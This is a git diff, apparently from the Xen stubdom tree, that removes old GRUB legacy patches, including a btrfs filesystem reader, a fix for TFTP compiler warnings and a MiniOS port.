-+ * Return 1, if next item wasn't found (no more items).
-+ */
-+static int btrfs_next_item(struct btrfs_root *root,
-+			   struct btrfs_path *path)
-+{
-+	WARN_ON(path->slots[0] >= btrfs_header_nritems(&path->nodes[0]));
-+
-+	path->slots[0] += 1;
-+
-+	if (path->slots[0] < btrfs_header_nritems(&path->nodes[0]))
-+		return 0;
-+	if (coord_is_root(root, path))
-+		/* no more items */
-+		return 1;
-+	return btrfs_next_leaf(root, path);
-+}
-+
-+/*
-+ * check if we can reuse results of previous
-+ * search for read operation
-+ */
-+static int path_is_valid(struct btrfs_path *path,
-+			 struct btrfs_key *key, u64 offset)
-+{
-+	btrfs_item_key_to_cpu(&path->nodes[0],
-+			      key,
-+			      path->slots[0]);
-+	if (BTRFS_FILE_INFO_KEY->objectid != key->objectid)
-+		return 0;
-+	if (btrfs_key_type(key) == BTRFS_INODE_ITEM_KEY)
-+		return 1;
-+	if (btrfs_key_type(key) != BTRFS_EXTENT_DATA_KEY)
-+		return 0;
-+	return BTRFS_FILE_INFO_KEY->offset <= offset;
-+}
-+
-+/* ->read_func() */
-+int btrfs_read(char *buf, int len)
-+{
-+	int ret;
-+	struct btrfs_root *fs_root;
-+	struct btrfs_path *path;
-+	struct btrfs_key  path_key;
-+	u64 ioff;
-+	u64 bytes;
-+	int to_read;
-+	char *pos = buf;
-+
-+	fs_root = BTRFS_FS_ROOT;
-+	path = btrfs_grab_path(FIRST_EXTERNAL_LOOKUP_POOL);
-+
-+	if (!path_is_valid(path, &path_key, filepos)) {
-+		ret = aux_tree_lookup(fs_root, BTRFS_FILE_INFO_KEY, path);
-+		if (ret < 0)
-+			errnum = ERR_FSYS_CORRUPT;
-+	}
-+	while (!errnum) {
-+		struct btrfs_item *item;
-+		struct btrfs_file_extent_item *fi;
-+		u64 from;
-+
-+		btrfs_item_key_to_cpu(&path->nodes[0],
-+				      &path_key,
-+				      path->slots[0]);
-+		if (BTRFS_FILE_INFO_KEY->objectid != path_key.objectid)
-+			break;
-+		if (btrfs_key_type(&path_key) != BTRFS_EXTENT_DATA_KEY)
-+			goto next;
-+		/*
-+		 * current position is extent item
-+		 */
-+		item = btrfs_item_nr(&path->nodes[0], path->slots[0]);
-+		fi = btrfs_item_ptr(&path->nodes[0],
-+				    path->slots[0],
-+				    struct btrfs_file_extent_item);
-+		if (btrfs_file_extent_compression(&path->nodes[0], fi)) {
-+		       btrfs_msg("Btrfs transparent compression unsupported\n");
-+		       errnum = ERR_BAD_FILETYPE;
-+		       goto exit;
-+		}
-+		ioff = filepos - path_key.offset;
-+
-+		switch (btrfs_file_extent_type(&path->nodes[0], fi)) {
-+		case BTRFS_FILE_EXTENT_INLINE:
-+			bytes = btrfs_file_extent_inline_item_len(&path->
-+								  nodes[0],
-+								  item);
-+			if (path_key.offset + bytes < filepos)
-+				goto next;
-+			to_read = bytes - ioff;
-+			if (to_read > len)
-+				to_read = len;
-+			from = ioff + btrfs_file_extent_inline_start(fi);
-+			if (disk_read_hook != NULL) {
-+				disk_read_func = disk_read_hook;
-+				ret = btrfs_devread(path->nodes[0].dev.drive,
-+						    path->nodes[0].dev.part,
-+						    path->nodes[0].dev.length,
-+						    path->nodes[0].dev_bytenr >>
-+						    SECTOR_BITS,
-+						    from,
-+						    to_read,
-+						    pos);
-+				disk_read_func = NULL;
-+				if (ret)
-+					goto exit;
-+			} else
-+				memcpy(pos,
-+				       path->nodes[0].data + from,
-+				       to_read);
-+			btrfs_msg("BTRFS inline extent: read %d bytes pos %d\n",
-+				  to_read, filepos);
-+			break;
-+		case BTRFS_FILE_EXTENT_REG:
-+			bytes = btrfs_file_extent_num_bytes(&path->nodes[0],
-+							    fi);
-+			if (path_key.offset + bytes < filepos)
-+				goto next;
-+			to_read = bytes - ioff;
-+			if (to_read > len)
-+				to_read = len;
-+			from = ioff +
-+				btrfs_file_extent_disk_bytenr(&path->nodes[0],
-+							      fi) +
-+				btrfs_file_extent_offset(&path->nodes[0],
-+							 fi);
-+			ret = read_data_extent(from, to_read, pos);
-+			if (ret)
-+				goto exit;
-+			break;
-+		case BTRFS_FILE_EXTENT_PREALLOC:
-+			btrfs_msg("Btrfs preallocated extents unsupported\n");
-+			errnum = ERR_BAD_FILETYPE;
-+			goto exit;
-+		default:
-+			errnum = ERR_FSYS_CORRUPT;
-+			goto exit;
-+		}
-+		len -= to_read;
-+		pos += to_read;
-+		filepos += to_read;
-+		if (len == 0)
-+			break;
-+		/* not everything was read */
-+	next:
-+		ret = btrfs_next_item(fs_root, path);
-+		if (ret < 0) {
-+			errnum = ERR_FSYS_CORRUPT;
-+			break;
-+		}
-+		btrfs_update_file_info(path);
-+		continue;
-+	}
-+exit:
-+	return errnum ? 0 : pos - buf;
-+}
-+
-+static int btrfs_follow_link(struct btrfs_root *root,
-+			     struct btrfs_path *path,
-+			     char **dirname, char *linkbuf,
-+			     int *link_count,
-+			     struct btrfs_inode_item *sd)
-+{
-+	int ret;
-+	int len;
-+	char *name = *dirname;
-+
-+	if (++(*link_count) > MAX_LINK_COUNT) {
-+		errnum = ERR_SYMLINK_LOOP;
-+		return 0;
-+	}
-+	/* calculate remaining name size */
-+	filemax = btrfs_inode_size(&path->nodes[0], sd);
-+	for (len = 0;
-+	     name[len] && isspace(name[len]);
-+	     len ++);
-+
-+	if (filemax + len > PATH_MAX - 1) {
-+		errnum = ERR_FILELENGTH;
-+		return 0;
-+	}
-+	grub_memmove(linkbuf + filemax, name, len + 1);
-+	btrfs_update_file_info(path);
-+	filepos = 0;
-+	/* extract symlink content */
-+	while (1) {
-+		u64 oid = BTRFS_FILE_INFO_KEY->objectid;
-+		ret = btrfs_next_item(root, path);
-+		if (ret)
-+			break;
-+		btrfs_update_file_info(path);
-+		if (oid != BTRFS_FILE_INFO_KEY->objectid)
-+			break;
-+		if (btrfs_key_type(BTRFS_FILE_INFO_KEY) ==
-+		    BTRFS_EXTENT_DATA_KEY)
-+			goto found;
-+	}
-+	/* no target was found */
-+	errnum = ERR_FSYS_CORRUPT;
-+	return 0;
-+found:
-+	/* fill the rest of linkbuf with the content */
-+	ret = btrfs_read(linkbuf, filemax);
-+	if (ret != filemax) {
-+		errnum = ERR_FSYS_CORRUPT;
-+		return 0;
-+	}
-+	return 1;
-+}
-+
-+static int update_fs_root(struct btrfs_root *fs_root,
-+			  struct btrfs_key *location)
-+{
-+	int ret;
-+	struct btrfs_root *tree_root;
-+
-+	if (location->offset != (u64)-1)
-+		return 0;
-+	tree_root = &BTRFS_FS_INFO->tree_root;
-+	ret = find_setup_root(tree_root,
-+			      tree_root->nodesize,
-+			      tree_root->leafsize,
-+			      tree_root->sectorsize,
-+			      tree_root->stripesize,
-+			      location->objectid,
-+			      fs_root,
-+			      0,
-+			      0,
-+			      0,
-+			      SECOND_EXTERNAL_LOOKUP_POOL);
-+	if (ret)
-+		return ret;
-+	location->objectid = btrfs_root_dirid(&fs_root->root_item);
-+	btrfs_set_key_type(location, BTRFS_INODE_ITEM_KEY);
-+	location->offset = 0;
-+	return 0;
-+}
-+
-+#ifndef STAGE1_5
-+static inline void update_possibilities(void)
-+{
-+	if (print_possibilities > 0)
-+		print_possibilities =
-+			-print_possibilities;
-+}
-+#endif
-+
-+/*
-+ * Look for a directory item by name.
-+ * Print possibilities, if needed.
-+ * Postconditions: on success @sd_key points
-+ * to the key contained in the directory entry.
-+ */
-+static int btrfs_de_index_by_name(struct btrfs_root *root,
-+				  struct btrfs_path *path,
-+				  char **dirname,
-+				  struct btrfs_key *sd_key)
-+{
-+	char ch;
-+	int ret;
-+	char *rest;
-+	struct btrfs_dir_item *di;
-+#ifndef STAGE1_5
-+	int do_possibilities = 0;
-+#endif
-+	for (; **dirname == '/'; (*dirname)++);
-+	for (rest = *dirname;
-+	     (ch = *rest) && !isspace(ch) && ch != '/';
-+	     rest++);
-+	*rest = 0; /* for substrung() */
-+#ifndef STAGE1_5
-+	if (print_possibilities && ch != '/')
-+		do_possibilities = 1;
-+#endif
-+	/* scan a directory */
-+	while (1) {
-+		u32 total;
-+		u32 cur = 0;
-+		u32 len;
-+		struct btrfs_key di_key;
-+		struct btrfs_disk_key location;
-+		struct btrfs_item *item;
-+
-+		/* extract next dir entry */
-+		ret = btrfs_next_item(root, path);
-+		if (ret)
-+			break;
-+		item = btrfs_item_nr(&path->nodes[0],
-+				     path->slots[0]);
-+		btrfs_item_key_to_cpu(&path->nodes[0],
-+				      &di_key,
-+				      path->slots[0]);
-+		if (di_key.objectid != sd_key->objectid)
-+			/* no more entries */
-+			break;
-+		di = btrfs_item_ptr(&path->nodes[0],
-+				    path->slots[0],
-+				    struct btrfs_dir_item);
-+		/*
-+		 * working around special cases:
-+		 * btrfs doesn't maintain directory entries
-+		 * which contain names "." and ".."
-+		 */
-+		if (!substring(".", *dirname)) {
-+#ifndef STAGE1_5
-+			if (do_possibilities) {
-+				update_possibilities();
-+				return 1;
-+			}
-+#endif
-+			goto found;
-+		}
-+		if (!substring("..", *dirname)) {
-+			if (di_key.type != BTRFS_INODE_REF_KEY)
-+				continue;
-+			sd_key->objectid = di_key.offset;
-+			btrfs_set_key_type(sd_key, BTRFS_INODE_ITEM_KEY);
-+			sd_key->offset = 0;
-+#ifndef STAGE1_5
-+			if (do_possibilities) {
-+				update_possibilities();
-+				return 1;
-+			}
-+#endif
-+			goto found;
-+		}
-+		if (di_key.type != BTRFS_DIR_ITEM_KEY)
-+			continue;
-+		total = btrfs_item_size(&path->nodes[0], item);
-+		/* scan a directory item */
-+		while (cur < total) {
-+			char tmp;
-+			int result;
-+			char *filename;
-+			char *end_of_name;
-+			int name_len;
-+			int data_len;
-+
-+			btrfs_dir_item_key(&path->nodes[0], di, &location);
-+
-+			name_len = btrfs_dir_name_len(&path->nodes[0], di);
-+			data_len = btrfs_dir_data_len(&path->nodes[0], di);
-+
-+			WARN_ON(name_len > BTRFS_NAME_LEN);
-+
-+			filename = (char *)(path->nodes[0].data +
-+					    (unsigned long)(di + 1));
-+			end_of_name = filename + name_len;
-+			/*
-+			 * working around not null-terminated
-+			 * directory names in btrfs: just
-+			 * a short-term overwrite of the
-+			 * cache with the following rollback
-+			 * of the change.
-+			 */
-+			tmp = *end_of_name;
-+			*end_of_name = 0;
-+			result = substring(*dirname, filename);
-+			*end_of_name = tmp;
-+#ifndef STAGE1_5
-+			if (do_possibilities) {
-+				if (result <= 0) {
-+					update_possibilities();
-+					*end_of_name = 0;
-+					print_a_completion(filename);
-+					*end_of_name = tmp;
-+				}
-+			}
-+			else
-+#endif
-+				if (result == 0) {
-+				      btrfs_dir_item_key_to_cpu(&path->nodes[0],
-+								di, sd_key);
-+				      goto found;
-+				}
-+			len = sizeof(*di) + name_len + data_len;
-+			di = (struct btrfs_dir_item *)((char *)di + len);
-+			cur += len;
-+		}
-+	}
-+#ifndef STAGE1_5
-+	if (print_possibilities < 0)
-+		return 1;
-+#endif
-+	errnum = ERR_FILE_NOT_FOUND;
-+	*rest = ch;
-+	return 0;
-+ found:
-+	*rest = ch;
-+	*dirname = rest;
-+	return 1;
-+}
-+
-+/*
-+ * ->dir_func().
-+ * Postcondition: on a non-zero return BTRFS_FS_INFO
-+ * contains the latest fs_root of file's subvolume.
-+ * BTRFS_FS_INFO points to a subvolume of a file we
-+ * were trying to look up.
-+ * BTRFS_FILE_INFO contains info of the file we were
-+ * trying to look up.
-+ */
-+
-+int btrfs_dir(char *dirname)
-+{
-+	int ret;
-+	int mode;
-+	u64 size;
-+	int linkcount = 0;
-+	char linkbuf[PATH_MAX];
-+
-+	struct btrfs_path *path;
-+	struct btrfs_root *root;
-+
-+	struct btrfs_key sd_key;
-+	struct btrfs_inode_item *sd;
-+	struct btrfs_key parent_sd_key;
-+
-+	root = BTRFS_FS_ROOT;
-+	path = btrfs_grab_path(FIRST_EXTERNAL_LOOKUP_POOL);
-+
-+	btrfs_set_root_dir_key(&sd_key);
-+	while (1) {
-+		struct extent_buffer *leaf;
-+		ret = aux_tree_lookup(root, &sd_key, path);
-+		if (ret)
-+			return 0;
-+		leaf = &path->nodes[0];
-+		sd = btrfs_item_ptr(leaf,
-+				    path->slots[0],
-+				    struct btrfs_inode_item);
-+		mode = btrfs_inode_mode(leaf, sd);
-+		size = btrfs_inode_size(leaf, sd);
-+		switch (btrfs_get_file_type(mode)) {
-+		case BTRFS_SYMLINK_FILE:
-+			ret = btrfs_follow_link(root,
-+						path,
-+						&dirname,
-+						linkbuf,
-+						&linkcount,
-+						sd);
-+			if (!ret)
-+				return 0;
-+			dirname = linkbuf;
-+			if (*dirname == '/')
-+				/* absolute name */
-+				btrfs_set_root_dir_key(&sd_key);
-+			else
-+				memcpy(&sd_key, &parent_sd_key,
-+				       sizeof(sd_key));
-+			continue;
-+		case BTRFS_REGULAR_FILE:
-+			/*
-+			 * normally we want to exit here
-+			 */
-+			if (*dirname && !isspace (*dirname)) {
-+				errnum = ERR_BAD_FILETYPE;
-+				return 0;
-+			}
-+			filepos = 0;
-+			filemax = btrfs_inode_size(leaf, sd);
-+			btrfs_update_file_info(path);
-+			return 1;
-+		case BTRFS_DIRECTORY_FILE:
-+			memcpy(&parent_sd_key, &sd_key, sizeof(sd_key));
-+			ret = btrfs_de_index_by_name(root,
-+						     path,
-+						     &dirname,
-+						     &sd_key);
-+			if (!ret)
-+				return 0;
-+#ifndef STAGE1_5
-+			if (print_possibilities < 0)
-+				return 1;
-+#endif
-+			/*
-+			 * update fs_tree:
-+			 * subvolume stuff goes here
-+			 */
-+			ret = update_fs_root(root, &sd_key);
-+			if (ret)
-+				return 0;
-+			continue;
-+		case BTRFS_UNKNOWN_FILE:
-+		default:
-+			btrfs_msg("Btrfs: bad file type\n");
-+			errnum = ERR_BAD_FILETYPE;
-+			return 0;
-+		}
-+	}
-+}
-+
-+int btrfs_embed(int *start_sector, int needed_sectors)
-+{
-+	int ret;
-+	init_btrfs_info();
-+	init_btrfs_volatile_dev_cache();
-+
-+	ret = btrfs_find_super(BTRFS_VOLATILE_DEV_CACHE, NULL, NULL);
-+	if (ret)
-+		return 0;
-+	ret = btrfs_uptodate_super_copy(BTRFS_FS_INFO);
-+	if (ret)
-+		return 0;
-+	*start_sector = 1; /* reserve first sector for stage1 */
-+	return needed_sectors <=
-+		((BTRFS_SUPER_INFO_OFFSET >> SECTOR_BITS) - 1);
-+}
-+#endif /* FSYS_BTRFS */
-+
-+/*
-+  Local variables:
-+  c-indentation-style: "K&R"
-+  mode-name: "LC"
-+  c-basic-offset: 8
-+  tab-width: 8
-+  fill-column: 80
-+  scroll-step: 1
-+  End:
-+*/
-diff -up grub-upstream.wip/stage2/Makefile.am.btrfs grub-upstream.wip/stage2/Makefile.am
---- grub-upstream.wip/stage2/Makefile.am.btrfs	2012-03-20 05:06:49.000000000 +0000
-+++ grub-upstream.wip/stage2/Makefile.am	2012-03-20 05:07:09.000000000 +0000
-@@ -17,13 +17,13 @@ INCLUDES = -I$(top_srcdir)/stage1
- noinst_LIBRARIES = libgrub.a
- libgrub_a_SOURCES = boot.c builtins.c char_io.c cmdline.c common.c \
- 	disk_io.c fsys_ext2fs.c fsys_fat.c fsys_ffs.c fsys_iso9660.c \
--	fsys_jfs.c fsys_minix.c fsys_reiserfs.c fsys_ufs2.c \
-+	fsys_jfs.c fsys_minix.c fsys_reiserfs.c fsys_btrfs.c fsys_ufs2.c \
- 	fsys_vstafs.c fsys_xfs.c gunzip.c md5.c serial.c stage2.c \
- 	terminfo.c tparm.c graphics.c
- libgrub_a_CFLAGS = $(GRUB_CFLAGS) -I$(top_srcdir)/lib \
- 	-DGRUB_UTIL=1 -DFSYS_EXT2FS=1 -DFSYS_FAT=1 -DFSYS_FFS=1 \
- 	-DFSYS_ISO9660=1 -DFSYS_JFS=1 -DFSYS_MINIX=1 -DFSYS_REISERFS=1 \
--	-DFSYS_UFS2=1 -DFSYS_VSTAFS=1 -DFSYS_XFS=1 \
-+	-DFSYS_BTRFS=1 -DFSYS_UFS2=1 -DFSYS_VSTAFS=1 -DFSYS_XFS=1 \
- 	-DUSE_MD5_PASSWORDS=1 -DSUPPORT_SERIAL=1 -DSUPPORT_HERCULES=1
- 
- # Stage 2 and Stage 1.5's.
-@@ -34,24 +34,26 @@ EXTRA_PROGRAMS = nbloader.exec pxeloader
- if DISKLESS_SUPPORT
- pkglib_DATA = stage2 stage2_eltorito e2fs_stage1_5 fat_stage1_5 \
- 	ffs_stage1_5 iso9660_stage1_5 jfs_stage1_5 minix_stage1_5 \
--	reiserfs_stage1_5 ufs2_stage1_5 vstafs_stage1_5 xfs_stage1_5 \
--	nbgrub pxegrub
-+	reiserfs_stage1_5 btrfs_stage1_5 ufs2_stage1_5 vstafs_stage1_5 \
-+	xfs_stage1_5 nbgrub pxegrub
- noinst_DATA = pre_stage2 start start_eltorito nbloader pxeloader diskless
- noinst_PROGRAMS = pre_stage2.exec start.exec start_eltorito.exec \
- 	e2fs_stage1_5.exec fat_stage1_5.exec ffs_stage1_5.exec \
- 	iso9660_stage1_5.exec jfs_stage1_5.exec minix_stage1_5.exec \
--	reiserfs_stage1_5.exec ufs2_stage1_5.exec vstafs_stage1_5.exec \
--	xfs_stage1_5.exec nbloader.exec pxeloader.exec diskless.exec
-+	reiserfs_stage1_5.exec btrfs_stage1_5.exec ufs2_stage1_5.exec \
-+	vstafs_stage1_5.exec xfs_stage1_5.exec nbloader.exec \
-+	pxeloader.exec diskless.exec
- else
- pkglib_DATA = stage2 stage2_eltorito e2fs_stage1_5 fat_stage1_5 \
- 	ffs_stage1_5 iso9660_stage1_5 jfs_stage1_5 minix_stage1_5 \
--	reiserfs_stage1_5 ufs2_stage1_5 vstafs_stage1_5 xfs_stage1_5
-+	reiserfs_stage1_5 btrfs_stage1_5 ufs2_stage1_5 vstafs_stage1_5 \
-+	xfs_stage1_5
- noinst_DATA = pre_stage2 start start_eltorito
- noinst_PROGRAMS = pre_stage2.exec start.exec start_eltorito.exec \
- 	e2fs_stage1_5.exec fat_stage1_5.exec ffs_stage1_5.exec \
- 	iso9660_stage1_5.exec jfs_stage1_5.exec minix_stage1_5.exec \
--	reiserfs_stage1_5.exec ufs2_stage1_5.exec vstafs_stage1_5.exec \
--	xfs_stage1_5.exec
-+	reiserfs_stage1_5.exec btrfs_stage1_5.exec ufs2_stage1_5.exec \
-+	vstafs_stage1_5.exec xfs_stage1_5.exec
- endif
- MOSTLYCLEANFILES = $(noinst_PROGRAMS)
- 
-@@ -95,15 +97,17 @@ STAGE1_5_COMPILE = $(STAGE2_COMPILE) -DN
- pre_stage2_exec_SOURCES = asm.S bios.c boot.c builtins.c char_io.c \
- 	cmdline.c common.c console.c disk_io.c fsys_ext2fs.c \
- 	fsys_fat.c fsys_ffs.c fsys_iso9660.c fsys_jfs.c fsys_minix.c \
--	fsys_reiserfs.c fsys_ufs2.c fsys_vstafs.c fsys_xfs.c gunzip.c \
--	hercules.c md5.c serial.c smp-imps.c stage2.c terminfo.c tparm.c \
--	graphics.c
-+	fsys_reiserfs.c fsys_btrfs.c fsys_ufs2.c fsys_vstafs.c fsys_xfs.c \
-+	gunzip.c hercules.c md5.c serial.c smp-imps.c stage2.c terminfo.c \
-+	tparm.c graphics.c
- pre_stage2_exec_CFLAGS = $(STAGE2_COMPILE) $(FSYS_CFLAGS)
- pre_stage2_exec_CCASFLAGS = $(STAGE2_COMPILE) $(FSYS_CFLAGS)
- pre_stage2_exec_LDFLAGS = $(PRE_STAGE2_LINK)
- 
- if NETBOOT_SUPPORT
--pre_stage2_exec_LDADD = ../netboot/libdrivers.a
-+pre_stage2_exec_LDADD = ../netboot/libdrivers.a -lgcc
-+else
-+pre_stage2_exec_LDADD = -lgcc
- endif
- 
- if DISKLESS_SUPPORT
-@@ -197,6 +201,16 @@ reiserfs_stage1_5_exec_CCASFLAGS = $(STA
- 	-DNO_BLOCK_FILES=1
- reiserfs_stage1_5_exec_LDFLAGS = $(STAGE1_5_LINK)
- 
-+# For btrfs_stage1_5 target.
-+btrfs_stage1_5_exec_SOURCES = start.S asm.S common.c char_io.c \
-+       disk_io.c stage1_5.c fsys_btrfs.c bios.c
-+btrfs_stage1_5_exec_CFLAGS = $(STAGE1_5_COMPILE) -DFSYS_BTRFS=1 \
-+       -DNO_BLOCK_FILES=1
-+btrfs_stage1_5_exec_CCASFLAGS = $(STAGE1_5_COMPILE) -DFSYS_BTRFS=1 \
-+       -DNO_BLOCK_FILES=1
-+btrfs_stage1_5_exec_LDFLAGS = $(STAGE1_5_LINK)
-+btrfs_stage1_5_exec_LDADD = -lgcc
-+
- # For vstafs_stage1_5 target.
- vstafs_stage1_5_exec_SOURCES = start.S asm.S common.c char_io.c \
- 	disk_io.c stage1_5.c fsys_vstafs.c bios.c
-@@ -240,7 +254,7 @@ diskless_exec_CFLAGS = $(STAGE2_COMPILE)
- diskless_exec_CCASFLAGS = $(STAGE2_COMPILE) $(FSYS_CFLAGS) \
- 	-DSUPPORT_DISKLESS=1
- diskless_exec_LDFLAGS = $(PRE_STAGE2_LINK)
--diskless_exec_LDADD = ../netboot/libdrivers.a
-+diskless_exec_LDADD = ../netboot/libdrivers.a -lgcc
- 
- diskless_size.h: diskless
- 	-rm -f $@
-diff -up grub-upstream.wip/stage2/shared.h.btrfs grub-upstream.wip/stage2/shared.h
---- grub-upstream.wip/stage2/shared.h.btrfs	2012-03-20 05:06:49.000000000 +0000
-+++ grub-upstream.wip/stage2/shared.h	2012-03-20 05:07:09.000000000 +0000
-@@ -207,11 +207,12 @@ extern char *grub_scratch_mem;
- #define STAGE2_ID_FAT_STAGE1_5		3
- #define STAGE2_ID_MINIX_STAGE1_5	4
- #define STAGE2_ID_REISERFS_STAGE1_5	5
--#define STAGE2_ID_VSTAFS_STAGE1_5	6
--#define STAGE2_ID_JFS_STAGE1_5		7
--#define STAGE2_ID_XFS_STAGE1_5		8
--#define STAGE2_ID_ISO9660_STAGE1_5	9
--#define STAGE2_ID_UFS2_STAGE1_5		10
-+#define STAGE2_ID_BTRFS_STAGE1_5	6
-+#define STAGE2_ID_VSTAFS_STAGE1_5	7
-+#define STAGE2_ID_JFS_STAGE1_5		8
-+#define STAGE2_ID_XFS_STAGE1_5		9
-+#define STAGE2_ID_ISO9660_STAGE1_5	10
-+#define STAGE2_ID_UFS2_STAGE1_5		11
- 
- #ifndef STAGE1_5
- # define STAGE2_ID	STAGE2_ID_STAGE2
-@@ -226,6 +227,8 @@ extern char *grub_scratch_mem;
- #  define STAGE2_ID	STAGE2_ID_MINIX_STAGE1_5
- # elif defined(FSYS_REISERFS)
- #  define STAGE2_ID	STAGE2_ID_REISERFS_STAGE1_5
-+# elif defined(FSYS_BTRFS)
-+#  define STAGE2_ID	STAGE2_ID_BTRFS_STAGE1_5
- # elif defined(FSYS_VSTAFS)
- #  define STAGE2_ID	STAGE2_ID_VSTAFS_STAGE1_5
- # elif defined(FSYS_JFS)
diff --git a/stubdom/grub.patches/70compiler_warnings.diff b/stubdom/grub.patches/70compiler_warnings.diff
deleted file mode 100644
index 15181fcfaa..0000000000
--- a/stubdom/grub.patches/70compiler_warnings.diff
+++ /dev/null
@@ -1,45 +0,0 @@
-[ 1436s] ../grub-upstream/netboot/fsys_tftp.c:213: warning: operation on 'block' may be undefined
-[ 1437s] ../grub-upstream/netboot/main.c:444: warning: operation on 'block' may be undefined
-
-[ 1234s] E: xen sequence-point ../grub-upstream/netboot/fsys_tftp.c:213
-[ 1234s] E: xen sequence-point ../grub-upstream/netboot/main.c:444
-
----
- netboot/fsys_tftp.c |    5 ++++-
- netboot/main.c      |    5 ++++-
- 2 files changed, 8 insertions(+), 2 deletions(-)
-
-Index: grub-0.97/netboot/fsys_tftp.c
-===================================================================
---- grub-0.97.orig/netboot/fsys_tftp.c
-+++ grub-0.97/netboot/fsys_tftp.c
-@@ -209,8 +209,11 @@ buf_fill (int abort)
- 	break;
- 
-       if ((block || bcounter) && (block != prevblock + (unsigned short) 1))
-+      {
-+	      block = prevblock;
- 	/* Block order should be continuous */
--	tp.u.ack.block = htons (block = prevblock);
-+	tp.u.ack.block = htons (block);
-+      }
-       
-       /* Should be continuous.  */
-       tp.opcode = abort ? htons (TFTP_ERROR) : htons (TFTP_ACK);
-Index: grub-0.97/netboot/main.c
-===================================================================
---- grub-0.97.orig/netboot/main.c
-+++ grub-0.97/netboot/main.c
-@@ -440,8 +440,11 @@ tftp (const char *name, int (*fnc) (unsi
- 	break;
-       
-       if ((block || bcounter) && (block != prevblock + 1))
-+      {
-+	      block = prevblock;
- 	/* Block order should be continuous */
--	tp.u.ack.block = htons (block = prevblock);
-+	tp.u.ack.block = htons (block);
-+      }
-       
-       /* Should be continuous.  */
-       tp.opcode = htons (TFTP_ACK);
diff --git a/stubdom/grub.patches/99minios b/stubdom/grub.patches/99minios
deleted file mode 100644
index d9b19138fd..0000000000
--- a/stubdom/grub.patches/99minios
+++ /dev/null
@@ -1,1570 +0,0 @@
-Index: grub/stage2/builtins.c
-===================================================================
---- grub.orig/stage2/builtins.c	2008-06-16 15:18:14.649009000 +0100
-+++ grub/stage2/builtins.c	2008-06-16 15:18:14.719009000 +0100
-@@ -45,8 +45,10 @@
- #ifdef GRUB_UTIL
- # include <device.h>
- #else /* ! GRUB_UTIL */
-+#ifndef __MINIOS
- # include <apic.h>
- # include <smp-imps.h>
-+#endif
- #endif /* ! GRUB_UTIL */
- 
- #ifdef USE_MD5_PASSWORDS
-@@ -246,11 +248,13 @@
- boot_func (char *arg, int flags)
- {
-   struct term_entry *prev_term = current_term;
-+#ifndef __MINIOS__
-   /* Clear the int15 handler if we can boot the kernel successfully.
-      This assumes that the boot code never fails only if KERNEL_TYPE is
-      not KERNEL_TYPE_NONE. Is this assumption is bad?  */
-   if (kernel_type != KERNEL_TYPE_NONE)
-     unset_int15_handler ();
-+#endif
- 
-   /* if our terminal needed initialization, we should shut it down
-    * before booting the kernel, but we want to save what it was so
-@@ -261,13 +265,21 @@
-       current_term = term_table; /* assumption: console is first */
-     }
- 
-+#ifndef __MINIOS__
- #ifdef SUPPORT_NETBOOT
-   /* Shut down the networking.  */
-   cleanup_net ();
- #endif
-+#endif
-   
-   switch (kernel_type)
-     {
-+#ifdef __MINIOS__
-+    case KERNEL_TYPE_PV:
-+      /* Paravirtualized */
-+      pv_boot();
-+      break;
-+#else
-     case KERNEL_TYPE_FREEBSD:
-     case KERNEL_TYPE_NETBSD:
-       /* *BSD */
-@@ -319,6 +331,7 @@
-       multi_boot ((int) entry_addr, (int) &mbi);
-       break;
- 
-+#endif
-     default:
-       errnum = ERR_BOOT_COMMAND;
-       return 1;
-@@ -1123,6 +1136,7 @@
- };
- 
- 
-+#ifndef __MINIOS__
- /* displayapm */
- static int
- displayapm_func (char *arg, int flags)
-@@ -1163,8 +1177,10 @@
-   "displayapm",
-   "Display APM BIOS information."
- };
-+#endif
- 
- 
-+#ifndef __MINIOS__
- /* displaymem */
- static int
- displaymem_func (char *arg, int flags)
-@@ -1218,6 +1234,7 @@
-   "Display what GRUB thinks the system address space map of the"
-   " machine is, including all regions of physical RAM installed."
- };
-+#endif
- 
- 
- /* dump FROM TO */
-@@ -1280,6 +1297,7 @@
- #endif /* GRUB_UTIL */
- 
- 
-+#ifndef __MINIOS__
- static char embed_info[32];
- /* embed */
- /* Embed a Stage 1.5 in the first cylinder after MBR or in the
-@@ -1413,6 +1431,7 @@
-   " is a drive, or in the \"bootloader\" area if DEVICE is a FFS partition."
-   " Print the number of sectors which STAGE1_5 occupies if successful."
- };
-+#endif
- 
- 
- /* fallback */
-@@ -1956,6 +1975,7 @@
- #endif /* SUPPORT_NETBOOT */
- 
- 
-+#ifndef __MINIOS__
- /* impsprobe */
- static int
- impsprobe_func (char *arg, int flags)
-@@ -1982,6 +2002,7 @@
-   " configuration table and boot the various CPUs which are found into"
-   " a tight loop."
- };
-+#endif
- 
- 
- /* initrd */
-@@ -1992,6 +2013,7 @@
-     {
-     case KERNEL_TYPE_LINUX:
-     case KERNEL_TYPE_BIG_LINUX:
-+    case KERNEL_TYPE_PV:
-       if (! load_initrd (arg))
- 	return 1;
-       break;
-@@ -2015,6 +2037,7 @@
- };
- 
- 
-+#ifndef __MINIOS__
- /* install */
- static int
- install_func (char *arg, int flags)
-@@ -2555,8 +2578,10 @@
-   " for LBA mode. If the option `--stage2' is specified, rewrite the Stage"
-   " 2 via your OS's filesystem instead of the raw device."
- };
-+#endif
- 
- 
-+#ifndef __MINIOS__
- /* ioprobe */
- static int
- ioprobe_func (char *arg, int flags)
-@@ -2598,6 +2623,7 @@
-   "ioprobe DRIVE",
-   "Probe I/O ports used for the drive DRIVE."
- };
-+#endif
- 
- /* print */
- static int
-@@ -2910,6 +2910,7 @@
-   switch (kernel_type)
-     {
-     case KERNEL_TYPE_MULTIBOOT:
-+    case KERNEL_TYPE_PV:
-       if (mb_cmdline + len + 1 > (char *) MB_CMDLINE_BUF + MB_CMDLINE_BUFLEN)
- 	{
- 	  errnum = ERR_WONT_FIT;
-@@ -3776,6 +3802,7 @@
- };
- 
- 
-+#ifndef __MINIOS__
- #ifdef SUPPORT_SERIAL
- /* serial */
- static int
-@@ -3927,8 +3954,10 @@
-   " default values are COM1, 9600, 8N1."
- };
- #endif /* SUPPORT_SERIAL */
-+#endif
- 
- 
-+#ifndef __MINIOS__
- /* setkey */
- struct keysym
- {
-@@ -4174,8 +4203,10 @@
-   " is a digit), and delete. If no argument is specified, reset key"
-   " mappings."
- };
-+#endif
- 
- 
-+#ifndef __MINIOS__
- /* setup */
- static int
- setup_func (char *arg, int flags)
-@@ -4484,6 +4515,7 @@
-   " partition where GRUB images reside, specify the option `--stage2'"
-   " to tell GRUB the file name under your OS."
- };
-+#endif
- 
- 
